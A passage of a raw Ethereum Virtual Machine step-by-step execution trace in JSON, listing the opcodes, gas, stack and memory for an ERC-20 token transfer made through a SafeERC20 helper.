958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x144","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7157,"op":"ADD","gas":31641,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x144","0x20","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7158,"op":"SWAP1","gas":31638,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x144","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7159,"op":"PUSH2","gas":31635,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x164","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7162,"op":"SWAP2","gas":31632,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x164","0x144","0x1c00"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7163,"op":"SWAP1","gas":31629,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x144","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7164,"op":"PUSH2","gas":31626,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7167,"op":"JUMP","gas":31623,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x206d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8301,"op":"JUMPDEST","gas":31615,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8302,"op":"PUSH1","gas":31614,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8304,"op":"PUSH1","gas":31611,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8306,"op":"DUP3","gas":31608,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8307,"op":"DUP5","gas":31605,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x20","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8308,"op":"SUB","gas":31602,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x20","0x144","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8309,"op":"SLT","gas":31599,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8310,"op":"ISZERO","gas":31596,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8311,"op":"PUSH2","gas":31593,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8314,"op":"JUMPI","gas":31590,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x207f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8319,"op":"JUMPDEST","gas":31580,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8320,"op":"DUP2","gas":31579,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8321,"op":"MLOAD","gas":31576,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x144"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8322,"op":"DUP1","gas":31573,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8323,"op":"ISZERO","gas":31570,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x124","0x1c00","0x164","0x144","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000